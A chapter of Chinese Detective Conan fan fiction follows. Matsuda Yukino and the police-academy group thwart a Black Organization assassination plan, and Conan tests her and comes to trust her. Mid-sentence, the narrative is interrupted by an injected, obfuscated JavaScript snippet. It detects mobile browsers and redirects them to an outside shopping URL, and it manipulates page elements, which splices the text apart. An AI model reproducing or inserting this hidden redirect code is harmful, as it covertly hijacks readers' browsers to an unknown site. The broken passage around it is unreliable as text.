初冬的风,带着刺骨的寒意,卷着枯叶掠过警视厅的外墙,发出凄厉的声响。收网行动的余温还未散去,警视厅里却是一片沉凝的肃穆——岸田明、西村健、藤川裕三名卧底被当场抓获,人证物证俱在,三人无从辩驳,只能颓然认罪,供述出与黑衣组织的联络方式,以及这些年帮组织掩盖罪行的全部事实。


    警视厅内部的毒瘤,终于被彻底拔除。


    这本该是值得振奋的消息,可所有人的脸上,都没有半分笑意,反而被浓重的凝重笼罩。因为他们都清楚,拔掉这三颗棋子,不过是斩断了组织的几根细枝,真正的狂风暴雨,真正的疯狂反扑,已经悄无声息的降临。


    黑衣组织,从来都不是会吃闷亏的主。


    他们可以容忍计划被破坏,可以容忍线索被发现,却绝不能容忍自己的人被抓捕,绝不能容忍自己的脸面被践踏,更不能容忍松田雪乃这样一个「变数」,一而再,再而三的破坏他们的布局,撕开他们的伪装,触碰他们的底线。


    收网行动结束的当晚,松田雪乃就收到了第一份警告。


    那是一封匿名的恐吓信,被人悄无声息的放在她的法律顾问办公室门口,信封上没有任何字迹,里面只有一张泛黄的白纸,用红色的墨水写着一行冰冷的字:【多管闲事者,死。】


    没有署名,没有多余的威胁,只有最直白的杀意,像是一把冰冷的刀,抵在了脖颈上。


    雪乃捏着那张纸,指尖划过红色的字迹,眼底没有半分慌乱,只有一片沉凝的冷冽。她知道,这不是简单的恐吓,这是组织的宣战,是他们报复的前奏。她太清楚这个组织的行事风格,他们从不做无用的警告,一旦出手,便是赶尽杀绝,不留半分余地。


    果不其然,仅仅过了半天,第二份警告便接踵而至。


    她律所的办公室玻璃被人砸碎,办公桌上的卷宗被翻得乱七八糟,电脑硬盘被恶意损毁,里面储存的所有案件资料,全部消失殆尽;她开车回家的路上,刹车被人动了手脚,若非她反应及时,猛打方向盘撞向路边的护栏,恐怕早已车毁人亡;甚至连她住的公寓楼下,都出现了形迹可疑的人,日夜徘徊,目光阴鸷,像是在等待最佳的动手时机。


    所有的动作,干净利落,不留痕迹,典型的组织手笔。


    浓稠的杀意,已经将她彻底笼罩,密不透风。


    警视厅里,所有人都炸开了锅。松田阵平的眼底翻涌着滔天的怒火,拳头攥得咯吱作响,八年的爆破处生涯,他见过太多的危险,却从未像此刻这般心慌,母亲是他唯一的亲人,是他此生最想守护的人,他绝不能让她出事:「这群混蛋!竟然敢对我妈下手!我现在就去把那些跟踪的人揪出来!」


    「冷静点,小阵平。」萩原研二按住他的肩膀,眉眼沉凝,语气冷静,「他们就是想激怒你,让你自乱阵脚,一旦你冲动行事,就中了他们的圈套。组织的人都是亡命之徒,手里有枪有炸弹,硬拼只会吃亏。」


    伊达航站在一旁,高大的身影下意识挡在雪乃身前,像是一道坚不可摧的屏障,眼底的锐利化作了极致的警惕:「我已经安排了搜查一课的同事,二十四小时守在松田顾问的公寓楼下,也调了监控,盯着那些形迹可疑的人。但组织的人太狡猾,他们不会轻易露面,只会在暗处伺机而动。」


    诸伏景光的镜片后闪过一丝冷冽的锋芒,手里攥着刚查到的线索,声音压得极低,字字都带着冰碴:「我查到了,这些跟踪的人,都是组织里的底层杀手,没有代号,没有身份,只是被派来试探的棋子。真正的杀招,还在后面。组织的高层,已经把松田顾问列入了暗杀名单,隶属于【白鼠计划】——那是他们标记的、无法拉拢、必须彻底清除的试药者名单,任务等级:最高优先级。」


    【白鼠计划】。


    这四个字,比任何冰冷的代号都更刺骨,意味着组织不仅要彻底抹去松田雪乃的存在,要让她像从未出现在这个世界上一样悄无声息的消失,更意味着,她的存在,在组织眼里不过是一只可以随意处置的白鼠,连活着的资格,都不配拥有。


    所有人的脸色,都彻底沉了下来,周身的气压低到了极致。


    而降谷零站在窗边,鸢色的眼眸里翻涌着惊涛骇浪,眼底的冷冽几乎要凝成冰棱。他刚从组织那边得到消息,朗姆亲自下达的暗杀指令,动用了组织里最精锐的暗杀小队,目标只有一个——松田雪乃。甚至为了确保任务成功,组织不惜放弃了几个在东京的小据点,只为集中力量,完成这次暗杀。


    他知道,这次的危机,远比他们想象的要凶险百倍。


    雪乃看着眼前神色凝重的众人,看着阵平眼底的慌乱与愤怒,看着研二眼底的担忧与冷静,看着伊达航眼底的守护与坚定,看着景光眼底的警惕与隐忍,看着零眼底的焦灼与冷冽,心底涌起一股滚烫的暖流,却依旧保持着绝对的清醒与镇定。


    她没有慌,没有怕,甚至没有半分退缩。


    从她决定救下萩原研二,从她决定改变警校五人组的命运,从她决定直面黑衣组织的那一刻起,她就知道,这一天迟早会来。她知道组织的狠戾,知道自己的处境,知道这场战斗注定充满凶险,可她从未后悔过。


    她的身后,有她想守护的人,有她并肩作战的同伴,有她誓死捍卫的正义。


    她不能退,也绝不会退。


    「谢谢你们,但是不用为我担心。」雪乃的声音平静而坚定,像是一剂定心丸,稳稳的扎进每个人的心底,她走到桌前,摊开一张东京都的地图,指尖划过上面的街巷,眼底是洞悉一切的从容与谋略,「组织的暗杀计划,看似凶险,实则漏洞百出。他们擅长的是暗中偷袭,是无迹可寻的暗杀,却不擅长正面博弈,更不擅长应对我最擅长的领域——法律与心理。」


    她的指尖,在地图上划出几个关键点,语气沉稳,条理清晰的说出了自己的反击计划,字字珠玑,步步为营,像是在布局一盘必胜的棋局。


    「第一,他们砸了我的律所,毁了我的资料,看似是斩断了我的后路,实则是暴露了他们的急躁。我手里的核心情报,早已备份在多个隐秘的地方,他们毁的,不过是无关紧要的皮毛。我可以借着律所被破坏的理由,申请警方的贴身保护,光明正大的待在警视厅里,让他们无从下手——警视厅是他们的禁区,他们再嚣张,也不敢在这里明目张胆的动手。」


    「第二,他们对我的车动手脚,试图制造意外,这是他们最常用的手段,却也是最容易被反制的手段。我已经让研二检查过车辆,找到了他们动手脚的痕迹,也提取了指纹,这些都是证据。我可以借着这个机会,向警方报案,以「故意杀人未遂」的罪名立案调查,让他们的暗杀计划,变成摆在明面上的刑事案件,让他们投鼠忌器,不敢轻易再用这种手段。」


    「第三,也是最重要的一点——心理博弈。」雪乃的眼底闪过一丝冷冽的锋芒,指尖划过那份恐吓信,「组织的人,看似冷酷无情,实则极度自负,极度偏执。他们认定我是个手无缚鸡之力的律师,认定我会被他们的杀意吓倒,认定我会束手就擒。可他们恰恰忘了,我是律师,我最擅长的,就是抓住人性的弱点,用法律的武器,将他们逼入绝境。」


    她的计划,没有硬碰硬,没有逞凶斗狠,而是以柔克刚,以智取胜。


    用法律的外衣保护自己,用警方的力量牵制对方,用心理的战术击溃敌人的防线。她要让组织知道,她松田雪乃,不是任人宰割的羔羊,不是轻易就能抹去的蝼蚁,她是能看透他们所有阴谋,能反击他们所有手段,能让他们吃尽苦头的对手。


    「我配合你。」降谷零率先开口,鸢色的眼眸里带着全然的信任与笃定,「我可以借着波本的身份,在组织内部散布消息,说暗杀计划泄露,警方已经布下天罗地网,让他们的暗杀小队不敢轻易行动,甚至内部互相猜忌,自乱阵脚。」


    「我也是。」松田阵平的眼底终于褪去了慌乱,只剩下坚定的桀骜,「我带着爆破处的同事,守住警视厅和公寓的所有出入口,只要他们敢来,我就让他们尝尝炸弹的滋味。」


    「我负责取证和立案。」伊达航沉声开口,「我会立刻联系检察官,以故意杀人未遂的罪名立案,让这份暗杀计划,变成他们无法抹去的罪证。」


    「我负责监控和追踪。」诸伏景光补充道,「我会利用卧底的情报,锁定暗杀小队的位置,一旦他们有任何动作,立刻通知所有人。」


    「我负责技术支援。」萩原研二温和的眉眼间带着冷冽的锋芒,「我会恢复被损毁的电脑资料,提取所有的证据,也会在松田顾问的身边布置好防护设备,确保她的安全。」


    五个人,五份承诺,五份毫无保留的守护。


    警校五人组,再次并肩而立,用自己的方式,护住他们最珍视的人,护住他们共同的战友,眼底的坚定,凝成了同一种信念。


    雪乃看着眼前的所有人,眼底涌起一丝湿润的光芒,却依旧笑着,语气坚定:「那就让我们,一起迎战这场暗杀。让组织知道,他们惹上的,到底是怎样的对手。」


    接下来的几天,东京都的街巷里,一场无声的博弈悄然展开,暗流汹涌,步步惊心。


    雪乃借着警方的保护,光明正大的待在警视厅里,一边处理案件,一边收集组织暗杀的证据;降谷零在组织内部散布谣言,真假掺半的消息让暗杀小队的人互相猜忌,迟迟不敢动手;阵平与研二在警视厅和公寓周围布下天罗地网,任何形迹可疑的人,都被他们牢牢盯住,连一丝靠近的机会都没有;伊达航带着刑警,四处取证,将组织的暗杀计划,一步步变成了摆在明面上的刑事案件,让组织的手脚被层层束缚;景光则在暗处追踪,凭借着卧底的敏锐与情报网,精准锁定了暗杀小队的藏身之处,掌握了他们的所有动向。


    组织的暗杀计划,在他们的联手反击下,节节败退,处处碰壁,所有的谋划都成了泡影。


    他们想暗中偷袭,却被警方的监控盯得死死的,连半步都无法靠近;他们想制造意外,却被雪乃提前识破,反留下了实打实的证据,成了钉死他们的罪证;他们想强行动手,却忌惮警视厅的警力部署,更怕降谷零散布的「计划泄露」的消息,生怕自己一步踏错,便落入万劫不复的圈套。


    极致的自负,最终变成了极致的忌惮;周密的暗杀计划,最终变成了进退两难的困局。


    最终,在一个雨夜,组织的暗杀小队,悄无声息的撤离了东京。


    没有动手,没有交锋,甚至没有留下一丝痕迹。


    他们认输了。


    输给了松田雪乃的冷静与谋略,输给了警校五人组的默契与守护,输给了红方所有人的同心同德,更输给了他们自己的自负与偏执。


    这场隶属于白鼠计划的暗杀计划,以组织的彻底失败告终。


    警视厅的法律顾问办公室里,雪乃站在窗前,看着窗外淅淅沥沥的雨,眼底的冷冽终于散去,只剩下一丝释然的笑意。


    她赢了。


    这是她第一次,正面挫败黑衣组织的计划,第一次,让这个不可一世的庞然大物,尝到了无功而返的滋味。


    而这场胜利,不是她一个人的功劳,是所有人并肩作战的结果,是彼此信任的结果,是正义终将战胜邪恶的证明。


    身后,松田阵平、萩原研二、伊达航、诸伏景光、降谷零,五个人并肩站着,看着她的背影,眼底都带着欣慰的笑意。


    风暴暂时平息,危机暂时解除。


    可他们都清楚,这只是一次小小的胜利,只是对抗组织的路上,一个微不足道的里程碑。黑衣组织绝不会就此罢休,他们的报复,只会更狠,更毒,更不择手段。


    真正的硬仗,还在后面。


    而这场风波尚未彻底落幕,另一道带着审视与怀疑的目光,已经悄然落在了雪乃的身上,那道目光,来自一个看似稚嫩,却藏着成年人灵魂的孩童。


    初冬的午后,阳光透过帝丹小学的玻璃窗,落在一年级B班的课桌上,给摊开的语文课本镀上了一层暖融融的光晕。江户川柯南撑着下巴,坐在靠窗的位置,小小的身体裹着宽大的校服,镜片后的眼眸里,却没有半分孩童的天真烂漫,只有一片与年龄不符的沉凝与锐利,像是藏着一颗成年人的灵魂,在透过这双孩童的眼睛,审视着整个世界。


    新一变小的第一个年头,他早已习惯了用江户川柯南的身份活着,习惯了用阿笠博士的发明破案,习惯了躲在毛利小五郎的身后,用麻醉针和变声器道出真相,习惯了在暗处默默追查黑衣组织的线索,试图找到变回原样的方法,试图为自己讨回公道,试图将那个罪恶的组织彻底覆灭。


    可这份习惯里,始终藏着一份挥之不去的迷茫与警惕。


    他就像一个在黑暗里独行的人,手里攥着一盏微弱的灯,看不清前路,摸不透方向,只能凭着自己的推理和直觉,一点点摸索着前进。他不敢轻易相信任何人,不敢暴露自己的身份,甚至不敢让毛利兰知道真相,怕自己的秘密,会给身边的人带来杀身之祸。


    直到松田雪乃的出现。


    这个女人,像是一道突如其来的光,刺破了他眼前的迷雾,也让他心底的那份警惕,一点点变成了极致的怀疑,又在怀疑里,生出了一丝难以言喻的笃定与认可。


    从第一次在警视厅的案件里遇见她,他就察觉到了不对劲。这个四十五岁的女律师,推理能力精准得可怕,总能在蛛丝马迹里找到案件的关键,总能看穿罪犯的伪装,那份洞察力,甚至不输于他这个职业侦探;她对黑衣组织的了解,深入到了骨子里,能精准说出组织的行事准则,能预判他们的下一步动作,能在组织的暗杀计划里全身而退,甚至能正面挫败他们的阴谋,这份了解,绝不是一个普通律师能拥有的。


    更让他心惊的是,他总觉得,自己和这个女人,在很久之前,就见过面。


    这份感觉,像是埋在心底的一粒种子,在一次次的相遇里,一点点生根发芽,一点点破土而出,最终长成了参天大树,压得他喘不过气。


    他开始疯狂的回忆,回忆自己变小前的所有经历,回忆自己孩童时期的所有过往,终于,在那个雨夜过后的清晨,尘封的记忆被彻底唤醒——那是他七岁那年,跟着工藤优作和工藤有希子去警视厅参观,恰逢一场棘手的绑架案,警方束手无策,他凭着孩童的直觉,找到了一些线索,却被大人当成了童言无忌。就在那时,一个温柔的女声在他身后响起,轻声点拨了他几句,让他瞬间理清了思路,最终帮助警方救出了人质。


    那个女人,就是年轻时候的松田雪乃。


    那时的她,还不是警视厅的法律顾问,只是一个刚入行不久的律师,恰巧在警视厅处理案件,却一眼看穿了他的心思,温柔的给予了他最关键的指引。


    而更让他震惊的是,在他变小后的这一年里,在他追查组织的数个案件里,松田雪乃总会恰到好处的出现,恰到好处的留下一些线索,恰到好处的避开他的试探,却又在不经意间,透露出一些只有他这个「工藤新一」才会懂的信息。


    她知道他的推理习惯,知道他的思维方式,知道他对案件的敏感度,甚至知道他心底最深的执念——找到黑衣组织,变回工藤新一,回到毛利兰的身边。


    这份熟悉,这份默契,这份恰到好处的提点,绝不是偶然。


    柯南的指尖紧紧攥着衣角,指节微微泛白,镜片后的眼眸里,翻涌着复杂的情绪,有震惊,有疑惑,有警惕,还有一丝难以言喻的笃定。


    他开始怀疑,松田雪乃到底是谁?


    她是不是早就知道他的身份?是不是早就知道他是工藤新一?是不是早就知道黑衣组织的存在?是不是从一开始,就在刻意的接近他,引导他,帮助他?


    这份怀疑,在雪乃正面挫败组织的白鼠暗杀计划后,被彻底推向了顶峰。


    他看着那个女人,在警视厅里从容不迫的处理案件,看着她在组织的杀意里全身而


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988439|193653||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    退,看着她和警校五人组并肩作战,看着她眼底那份洞悉一切的从容与坚定,心底的疑问,终于汇成了一股洪流,再也无法抑制。


    他必须试探她。


    必须弄清楚,这个女人,到底知道多少,到底是谁,到底站在哪个阵营。


    机会,很快就来了。


    警视厅接到了一桩离奇的密室杀人案,死者是一名与乌丸集团有过合作的企业家,死在自己的私人书房里,门窗反锁,没有任何外力闯入的痕迹,死因是心脏骤停,却在死者的指尖,发现了一丝微弱的药物残留,与组织测试的APTX-4869变种药物高度相似。


    这是典型的组织手笔,是他们清理知情人的惯用手段。


    雪乃作为警视厅法律顾问,自然参与了案件的调查;柯南则借着毛利小五郎的名义,跟着目暮警官来到了现场,小小的身影穿梭在案发现场,看似天真的东瞧西看,实则在默默收集线索,目光始终落在雪乃的身上,观察着她的一举一动,一言一行。


    案发现场的书房里,雪乃站在书桌前,指尖划过死者留下的潦草字迹,眼底是一如既往的沉凝与冷静。她的推理精准而流畅,没有半分卡顿,很快就找到了密室的破绽,也锁定了药物残留的来源,甚至连组织不留痕迹的作案手法,都分析得一清二楚,仿佛亲眼所见。


    柯南站在她的身后,小小的身体藏在人群里,看着她挺拔的背影,深吸一口气,终于开口,声音稚嫩软糯,带着孩童特有的好奇,却字字都藏着刻意的试探,像是童言无忌,却又字字诛心,敲打着人心的最深处:「松田阿姨,你好厉害哦,竟然能看出这么多线索!我以前好像见过你呢,在我很小的时候,也是在警视厅,你还帮过我呢,你还记得吗?」


    话音落下的瞬间,书房里的所有人都下意识看向了他,目光里带着一丝诧异,只有雪乃,指尖微微一顿,却没有回头,只是嘴角勾起一抹浅淡而温和的笑意,语气温柔,像是在回应一个孩童的无心提问,却又带着一丝恰到好处的留白,分寸拿捏得极好:「哦?是吗?那真是太巧了。我在警视厅处理案件很多年了,见过的孩子也很多,或许,真的见过也说不定。」


    她没有承认,也没有否认。


    这份模糊的回答,像是一团轻柔的迷雾,让柯南的心底,又多了几分疑惑,却也多了几分笃定的答案。


    他知道,她记得。


    她一定记得那个七岁的自己,记得那个在警视厅里被大人忽视的孩童,记得她曾经给予的那份温柔指引。她的模糊回应,不是刻意的回避,而是一种无声的保护,保护他的身份不被泄露,保护他的秘密不被组织察觉,保护他不被卷入更深的危险。


    柯南没有放弃,反而借着这份契机,继续追问,声音依旧稚嫩,却带着一丝更深的试探,指尖指向死者留在纸上的歪扭字迹,像是无意间提起,语气里满是孩童的不解:「松田阿姨,你说这个叔叔的字好奇怪哦,是不是在临死前,想写下什么秘密呀?比如,是不是有什么坏人害了他?比如,那些穿着黑衣服的坏人?」


    「黑衣」两个字,被他咬得极轻,像是一阵风拂过,却带着千斤的重量,在空气里炸开了无声的惊雷。


    这是他第一次,在雪乃面前,主动提起黑衣组织,主动试探她的反应,主动将那层遮遮掩掩的窗户纸,轻轻戳破了一道缝隙。


    书房里的空气,瞬间凝固了,连窗外的风声都仿佛静止了。


    目暮警官等人的脸上露出了一丝茫然,显然没有听出孩童话语里的深意,只有雪乃,终于缓缓转过身,目光落在柯南的身上,眼底没有半分诧异,没有半分慌乱,只有一片温和的笑意,像是早就看穿了他所有的伪装,看穿了他所有的试探,看穿了他眼底藏着的、属于工藤新一的灵魂与秘密。


    她没有直接回答他的问题,只是缓缓蹲下身,与他平视,指尖轻轻拂过他柔软的发顶,语气温柔,却字字清晰,像是在对一个孩童说话,又像是在对一个成年人交心,像是在给予无声的提示,又像是在许下一份坚定的承诺:「柯南小朋友,这个世界上,总有一些坏人,藏在黑暗里,做着坏事。但也总有一些人,站在光明里,拼尽全力的守护着正义,守护着那些无辜的人。你要相信,正义或许会迟到,但绝不会缺席。那些藏在黑暗里的坏人,终有一天,会被绳之以法。」


    她的目光,透过镜片,直直的撞进柯南的眼底,带着一丝了然,一丝温柔,一丝笃定,还有一丝无需言说的暗示——我知道你的身份,我知道你的执念,我知道你的敌人是谁,我和你,是站在同一条战线上的人,是并肩对抗黑暗的同伴。


    她没有戳破他的身份,没有说出组织的名字,没有透露任何不该透露的秘密,却用最温柔的方式,给了他最坚定的答案,给了他最想要的安心。


    这份答案,胜过千言万语。


    柯南的瞳孔骤然收缩,镜片后的眼眸里,翻涌着极致的震惊与释然,心底积压许久的那份怀疑与警惕,终于在这一刻,烟消云散,取而代之的,是一份沉甸甸的信任,一份难以言喻的安心,还有一份终于找到同伴的温暖。


    他知道了。


    松田雪乃,早就知道他是工藤新一。


    她知道他的秘密,知道他的执念,知道他的敌人,却从未有过半分的利用,从未有过半分的泄露,只是默默的帮助他,引导他,守护他,在他独行的黑暗里,为他点亮了一盏灯。


    她是自己人。


    是站在光明这边的人,是和他一起对抗黑衣组织的战友,是值得他倾尽所有去信任的同伴。


    柯南的嘴角,终于勾起一抹浅淡而释然的笑意,眼底的锐利与冰冷,尽数化作了柔和的光芒,他用力的点头,声音稚嫩却无比坚定,像是孩童的承诺,又像是成年人的默契:「嗯!我相信松田阿姨!正义一定会打败坏人的!」


    试探落幕,信任落地。


    无需多言,无需解释,一个眼神,一句话语,便足够让彼此心照不宣。


    雪乃站起身,重新看向案发现场的线索,眼底的笑意依旧温和,心底却多了一丝释然。她知道,从这一刻起,她和柯南之间,形成了一种无需言语的默契,一种牢不可破的合作关系。


    他有他的推理,有他的观察力,有他对案件的极致敏锐;她有她的谋略,有她的法律知识,有她对组织的精准把控,有她身后的警校五人组。


    他们是红方的两股核心力量,是彼此最坚实的后盾,是能一起并肩作战,对抗黑暗的战友。


    而这份合作,这份默契,这份心照不宣的信任,也让红方的信息,彻底互通起来。


    柯南将自己查到的组织零散线索,悄悄传递给雪乃;雪武将组织的药物研发进度,将警视厅的调查结果,将警校五人组掌握的卧底情报,一点点透露给柯南。他们像是两块完美契合的拼图,彼此互补,彼此成全,一点点拼凑出组织的全貌,一点点撕开组织的层层防线。


    没有猜忌,没有隔阂,没有隐瞒。


    只有最纯粹的信任,最坚定的初心,最共同的目标——将那个藏在黑暗里的罪恶组织,彻底覆灭。


    书房里的案件,很快就告破了。凶手是组织的底层成员,被雪乃和柯南联手揪出,人证物证俱在,无从辩驳,最终只能颓然认罪,交代了组织的部分指令。


    柯南跟着毛利小五郎离开警视厅的时候,回头看了一眼雪乃站在窗边的身影,眼底的光芒愈发坚定,周身的气场也多了几分从容。


    他知道,前路依旧凶险,依旧充满未知,黑衣组织的獠牙,永远不会轻易收起。


    可他不再是孤军奋战。


    他有松田雪乃,有警校五人组,有阿笠博士,有那些所有站在光明这边的人。


    他们会一起,握紧彼此的手,一起,直面所有的黑暗,一起,对抗所有的凶险,一起,走向最终的胜利。


    风暴,已经近在眼前。


    而他们,早已做好了万全的准备。